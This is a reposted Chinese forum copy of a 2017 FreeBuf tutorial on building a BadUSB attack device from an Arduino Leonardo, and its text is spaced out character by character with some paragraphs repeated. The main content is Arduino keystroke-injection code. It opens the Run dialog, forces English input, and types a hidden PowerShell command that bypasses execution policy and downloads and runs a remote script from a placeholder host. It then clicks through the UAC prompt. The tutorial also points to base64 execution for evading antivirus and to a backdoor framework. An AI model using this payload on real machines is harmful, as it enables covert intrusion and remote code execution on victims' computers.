搜索

[11075] 2017-02-28_低成本玩转硬件安全（一）BadUSBonArduino

文档创建者：s7ckTeam
浏览次数：23
最后更新：2025-01-18
2017-02-28_低成本玩转硬件安全（一）BadUSBonArduino 低 成 本 玩 转 硬 件 安 全 （ 一 ）   |   B a d U S B   o n   A r d u i n o y a 0 g u a n g   F r e e B u f   2 0 1 7 - 0 2 - 2 8 * 本 文 原 创 作 者 ： y a 0 g u a n g ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 引 言 引 言 鉴 于 硬 件 安 全 对 于 大 多 数 新 人 是 较 少 接 触 的 ， 而 这 方 面 又 非 常 吸 引 我 ， 但 是 部 分 专 业 安 全 研 究 设 备 较 高 的 价 格 使 人 望 而 却 鉴 于 硬 件 安 全 对 于 大 多 数 新 人 是 较 少 接 触 的 ， 而 这 方 面 又 非 常 吸 引 我 ， 但 是 部 分 专 业 安 全 研 究 设 备 较 高 的 价 格 使 人 望 而 却 步 。 在 该 系 列 中 ， 笔 者 希 望 对 此 感 兴 趣 的 读 者 在 花 费 较 少 金 钱 的 情 况 下 体 会 到 硬 件 安 全 的 魅 力 所 在 。 步 。 在 该 系 列 中 ， 笔 者 希 望 对 此 感 兴 趣 的 读 者 在 花 费 较 少 金 钱 的 情 况 下 体 会 到 硬 件 安 全 的 魅 力 所 在 。 本 系 列 计 划 分 成 四 个 部 分 ： 本 系 列 计 划 分 成 四 个 部 分 ： B a d U S B   o n   A r d u i n o ;   R F I D   o n   P N 5 3 2 ;   G S M   o n   M o t o r o l a   C 1 1 8   ;   S D R   o n   R T L 2 8 3 2 U ( 电 视 棒 电 视 棒 ) 。 。 背 景 背 景 B a d U S B 早 在 2 0 1 4 年 底 的 P a c S e c 会 议 上 便 已 经 提 出 ， 这 是 U S B 协 议 中 的 一 个 漏 洞 — — — — U S B 设 备 可 以 伪 装 成 为 其 他 任 何 设 备 ， 例 如 输 入 设 备 、 网 卡 等 等 。 这 个 漏 洞 目 前 还 没 有 得 到 修 复 ， 几 乎 可 以 说 在 有 合 适 的 脚 本 的 情 况 下 ， 只 要 能 够 插 进 去 ， 没 有 什 么 是 黑 不 掉 的 ！ 2 0 1 4 年 的 年 的 P P T 参 考 如 下 ： 参 考 如 下 ： h t t p s : / / s r l a b s . d e / w p - c o n t e n t / u p l o a d s / 2 0 1 4 / 1 1 / S R L a b s - B a d U S B - P a c s e c - v 2 . p d f 常 见 硬 件 介 绍 常 见 硬 件 介 绍 P s y c h s o n 事 实 上 这 是 G i t h u b 上 的 一 个 开 源 项 目 ， 由 于 世 面 上 的 部 分 U 盘 的 芯 片 可 以 H a c k ， 所 以 通 过 比 较 G e e k 的 方 式 可 以 让 U 盘 实 现 B a d U S B 的 功 能 。 但 是 项 目 已 经 两 年 没 有 更 新 过 了 ， 支 持 的 许 多 硬 件 也 已 经 停 产 或 者 更 换 了 新 的 主 控 芯 片 ， 笔 者 也 尝 试 着 使 用 之 但 是 失 败 了 。 伪 装 性 ： ★ ★ ★ ★ ★ 易 开 发 ： ★ ★ 社 区 支 持 ： ★ ★ 项 目 主 页 ： h t t p s : / / g i t h u b . c o m / b r a n d o n l w / P s y c h s o n R u b b e r   D u c k y
中 文 名 橡 皮 鸭 ， 外 观 酷 （ 就 ） 似 （ 是 ） 普 通 的 U 盘 ， 但 是 却 藏 着 一 颗 蔫 坏 的 芯 。 其 结 构 如 图 ， 特 点 在 于 可 以 拆 卸 并 且 使 用 S D 卡 ， 可 以 随 时 更 换 P a y l o a d ， 而 且 十 分 容 易 伪 装 ！ 以 至 于 美 剧   《 M r .   R o b o t 》 里 的 主 角 用 该 设 备 成 功 引 起 了 警 察 的 注 意 （ 并 黑 掉 了 他 。 但 是 H a k 5 上 的 R u b b e r   D u c k y   需 要 4 5 美 刀 ， 这 无 疑 是 笔 者 承 受 不 起 的 ！ 况 且 其 配 送 地 区 还 B a n 了 中 国 ！ 不 过 其 项 目 中 的 脚 本 还 是 很 值 得 我 们 去 参 考 学 习 的 ！ 伪 装 性 ： ★ ★ ★ ★ 易 开 发 ： ★ ★ ★ ☆ 社 区 支 持 ： ★ ★ ★ ★ H a k 5 链 接 ： h t t p s : / / h a k s h o p . c o m / p r o d u c t s / u s b - r u b b e r - d u c k y - d e l u x e 官 方 P a y l o a d s h t t p s : / / g i t h u b . c o m / h a k 5 d a r r e n / U S B - R u b b e r - D u c k y / w i k i / P a y l o a d s T e e n s y   U S B
一 款 U S B 微 控 制 器 开 发 板 ， 想 必 便 可 以 当 作 键 盘 鼠 标 来 用 啦 ！ 可 以 看 到 部 分 款 式 也 有 插 存 储 卡 的 地 方 ， 价 格 总 体 上 也 达 到 了 R u b b e r   D u c k y 的 一 半 ， 但 是 美 刀 对 于 我 们 而 言 还 是 略 贵 的 ！ 伪 装 性 ： ★ ★ 易 开 发 ： ★ ★ ★ 社 区 支 持 ： ★ ★ ★ A r d u i n o   L e o n a r d o 这 才 是 我 们 今 天 的 主 角 ， 其 以 2 0 - 4 0 R M B 的 售 价 成 为 了 穷 黑 客 的 （ 我 ） 的 首 选 ！ 而 且 A r d u i n o 的 编 程 对 初 学 者 也 相 当 的 友 好 。   笔 者 的 芯 片 如 图 ：
首 先 ， 我 们 需 要 对 A r d u i n o 进 行 设 置 ， 更 改 “ 串 口 ” 和 “ 开 发 板 ” 选 项 ：
下 面 开 始 编 写 P a y l o a d 。 事 实 上 P a y l o a d 就 是 通 过 键 盘 来 执 行 一 系 列 的 指 令 来 达 到 某 些 目 的 ， 比 如 植 入 后 门 ， 反 弹 s h e l l 等 。 我 们 需 要 以 此 为 思 路 进 行 程 序 的 编 写 。 启 动 方 式 启 动 方 式 程 序 的 大 致 结 构 如 下 ： 用 到 了 一 个 K e y b o a r d 库 定 义 了 按 键 ， 键 盘 上 一 些 无 法 输 入 的 按 键 需 要 查 看 定 义 的 名 称 ， 其 库 文 件 在 g i t h u b 上 也 可 以 看 到 ：         h t t p s : / / g i t h u b . c o m / a r d u i n o - l i b r a r i e s / K e y b o a r d / b l o b / m a s t e r / s r c / K e y b o a r d . h # i n c l u d e   < K e y b o a r d . h > v o i d   s e t u p ( )   {     / / P a y l o a d } v o i d   l o o p ( )   {     / / n o n e }
其 中 对 我 们 有 用 的 只 有 s e t u p ， 即 板 子 上 电 ， 也 就 是 插 入 的 瞬 间 便 开 始 执 行 的 部 分 ， l o o p 部 分 留 空 。 笔 者 本 人 用 的 w i n d o s 系 统 ， 这 里 仅 讨 论 w i n d o s 。 若 要 在 w i n d o w s 下 仅 仅 通 过 键 盘 执 行 一 段 脚 本 或 程 序 ， 最 经 典 的 方 式 就 是 C t r l + R 了 。 在 w i n d o s 8 及 以 上 的 操 作 系 统 中 W i n 键 + S 之 后 ， 输 入 p o w e r s h e l l 或 c m d ， 之 后 再 按 回 车 也 可 以 开 始 写 命 令 。 代 码 如 下 ， 蛋 疼 的 地 方 在 于 中 文 的 输 入 法 可 以 很 大 程 度 上 避 免 被 B a d U S B 攻 击 ， 但 是 我 们 在 脚 本 中 也 可 以 利 用 默 认 的 一 些 快 捷 键 切 换 到 英 文 输 入 法 。 再 加 上 W i n d o w s 系 统 不 区 分 大 小 写 ， 从 某 些 程 度 上 讲 只 用 到 大 写 锁 定 键 足 矣 。 p o w e r s h e l l 的 各 种 姿 势 的 各 种 姿 势 既 然 “ 运 行 ” 对 话 框 已 经 打 开 ， 下 一 步 需 要 做 的 便 是 执 行 代 码 了 。 在 这 里 我 们 需 要 用 到 一 些 p o w e r s h e l l 启 动 的 高 级 姿 势 。 启 动 选 项 启 动 选 项 在 c m d 或 者 p o w e r s h e l l 中 输 入 ” p o w e r s h e l l   - ? ” 便 可 以 得 到 所 有 的 启 动 选 项 ， 这 里 我 们 主 要 关 注 其 中 的 两 个 ： E x e c u t i o n P o l i c y 和 W i n d o w S t y l e 。 由 于 p o w e r s h e l l 的 默 认 E x e c u t i o n P o l i c y 是 R e m o t e S i g n e d 。 即 下 载 脚 本 必 须 可 信 ， 换 句 话 说 就 是 用 户 脚 本 不 能 执 行 。 所 以 我 们 需 要 设 置 该 字 段 为 U n r e s t r i c t e d 或 者 B y p a s s 。 而 W i n d o w S t y l e 设 置 为 H i d d e n 时 可 以 隐 藏 窗 口 执 行 ， 这 对 隐 蔽 性 很 有 帮 助 。 例 如 ， 我 们 可 以 在 运 行 中 输 入 ： 可 以 看 到 t e s t . t x t 内 容 如 下 ： 正 在   P i n g   w w w . a . s h i f e n . c o m   [ 1 1 9 . 7 5 . 2 1 8 . 7 0 ]   具 有   3 2   字 节 的 数 据 :                 来 自   1 1 9 . 7 5 . 2 1 8 . 7 0   的 回 复 :   字 节 = 3 2   时 间 = 2 3 m s   T T L = 5 3                 来 自   1 1 9 . 7 5 . 2 1 8 . 7 0   的 回 复 :   字 节 = 3 2   时 间 = 2 3 m s   T T L = 5 3                 来 自   1 1 9 . 7 5 . 2 1 8 . 7 0   的 回 复 :   字 节 = 3 2   时 间 = 2 4 m s   T T L = 5 3                 来 自   1 1 9 . 7 5 . 2 1 8 . 7 0   的 回 复 :   字 节 = 3 2   时 间 = 2 3 m s   T T L = 5 3 1 1 9 . 7 5 . 2 1 8 . 7 0   的   P i n g   统 计 信 息 :                 数 据 包 :   已 发 送   =   4 ， 已 接 收   =   4 ， 丢 失   =   0   ( 0 %   丢 失 ) ，                 往 返 行 程 的 估 计 时 间 ( 以 毫 秒 为 单 位 ) :                 最 短   =   2 3 m s ， 最 长   =   2 4 m s ， 平 均   =   2 3 m s 除 此 之 外 ， 还 可 以 直 接 从 b a s e 6 4 编 码 执 行 ， 这 样 可 以 直 接 b y p a s s   a n t i v i r u s   s o f t w a r e 。 这 是 一 种 更 为 强 大 的 运 行 姿 势 。 远 程 执 行 远 程 执 行 事 实 上 ， b y p a s s 的 目 的 真 正 是 为 了 执 行 来 自 远 程 服 务 器 的 脚 本 。 这 里 有 一 个 用 法 ： d e l a y ( 1 0 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ G U I ) ; K e y b o a r d . p r e s s ( ' r ' ) ; K e y b o a r d . r e l e a s e A l l ( ) ; d e l a y ( 5 0 0 ) ; / / 针 对 s h i f t + c t r l 切 换 输 入 法 K e y b o a r d . p r e s s ( K E Y _ L E F T _ S H I F T ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ C T R L ) ; / / 针 对 w i n 8 及 以 上 部 分 操 作 系 统 改 换 中 文 输 入 K e y b o a r d . p r e s s ( K E Y _ L E F T _ G U I ) ; K e y b o a r d . p r i n t l n ( '   ' ) ; / / 某 些 输 入 法 的 中 英 文 切 换 K e y b o a r d . p r e s s ( K E Y _ L E F T _ S H I F T ) ; / / 暴 力 直 接 切 换 成 英 文 K e y b o a r d . p r e s s ( K E Y _ C A P S _ L O C K ) / / 手 动 释 放 按 键 K e y b o a r d . r e l e a s e A l l ( ) ; p o w e r s h e l l   - e x e c u t i o n p o l i c y   b y p a s s   - w i n d o w s t y l e   h i d d e n   p i n g   w w w . b a i d u . c o m     >   d : t e s t . t x t p o w e r s h e l l   - E x e c u t i o n P o l i c y   B y p a s s   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / y o u r . s i t e / f i l e . p s 1 ' ) ;
这 里 牵 扯 到 了 p o w e r s h e l l 的 强 大 之 处 ， 其 可 以 直 接 创 建 对 象 。 上 面 的 意 思 是 从 下 载 一 个 远 程 脚 本 并 执 行 。 显 然 远 程 脚 本 相 对 于 把 p a y l o a d 写 在 一 行 更 加 优 雅 ， 而 且 更 加 灵 活 。 最 重 要 的 原 因 还 是 此 a r d u i n o 开 发 板 的 存 储 空 间 太 小 ， 并 不 能 容 纳 太 长 的 脚 本 。 这 里 推 荐 一 个 p o w e r s h e l l 的 渗 透 框 架 ： n i s h a n g 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g n i s h a n g 的 强 大 之 处 在 于 其 几 乎 可 以 实 现 一 个 后 门 可 以 实 现 的 所 有 。 据 笔 者 了 解 ， m e t a s p l o i t 也 支 持 生 产 p o w e r s h e l l 的 p a y l o a d 了 。 公 网 上 的 p o w e r s h e l l 脚 本 可 以 通 过 g i t h u b 的 r a w 浏 览 服 务 、 一 些 在 线 的 文 本 存 储 服 务 ， 甚 至 是 用 n g r o k 做 一 个 w e b 服 务 器 的 映 射 来 完 成 临 时 、 隐 蔽 的 发 送 。 B y p a s s   U A C 后 续 的 代 码 如 下 , 其 中 后 面 的 部 分 是 为 了 处 理 U A C ， 即 一 个 弹 出 用 户 确 认 的 对 话 框 。 结 语 结 语 K e y b o a r d . p r i n t l n ( " p o w e r s h e l l   - E x e c u t i o n P o l i c y   B y p a s s   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / y o u r . s i t e / f i l e . p s 1 ' ) ; " ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ C T R L ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ S H I F T ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . r e l e a s e A l l ( ) ; d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . r e l e a s e A l l ( ) ; d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; d e l a y ( 5 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . r e l e a s e A l l ( ) ; d e l a y ( 2 5 0 0 ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . r e l e a s e A l l ( ) ; K e y b o a r d . p r e s s ( K E Y _ L E F T _ A L T ) ; K e y b o a r d . p r i n t l n ( ' y ' ) ;     K e y b o a r d . r e l e a s e A l l ( ) ; K e y b o a r d . p r e s s ( K E Y _ R E T U R N ) ; K e y b o a r d . r e l e a s e A l l ( ) ; d e l a y ( 1 5 0 0 )
P o w e r s h e l l 与 B a d U S B 的 结 合 可 以 在 W i n d o w s 下 办 到 很 多 事 情 ， B a d U S B 的 渗 透 方 案 也 不 仅 仅 限 于 键 盘 输 入 ， 鼠 标 输 入 甚 至 网 卡 都 是 可 以 作 为 攻 击 工 具 。 笔 者 在 K a l i   N e t h u n t e r 上 就 见 到 了 将 手 机 作 为 网 卡 来 嗅 探 流 量 的 用 法 。 虽 然 距 离 漏 洞 正 式 发 布 已 经 过 去 了 整 整 两 年 时 间 ， 但 是 这 一 漏 洞 短 时 间 内 还 将 普 遍 存 在 于 各 大 操 作 系 统 以 及 U S B 协 议 中 ， 更 高 级 的 姿 势 还 需 要 自 己 去 探 索 ！ * 本 文 原 创 作 者 ： y a 0 g u a n g ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理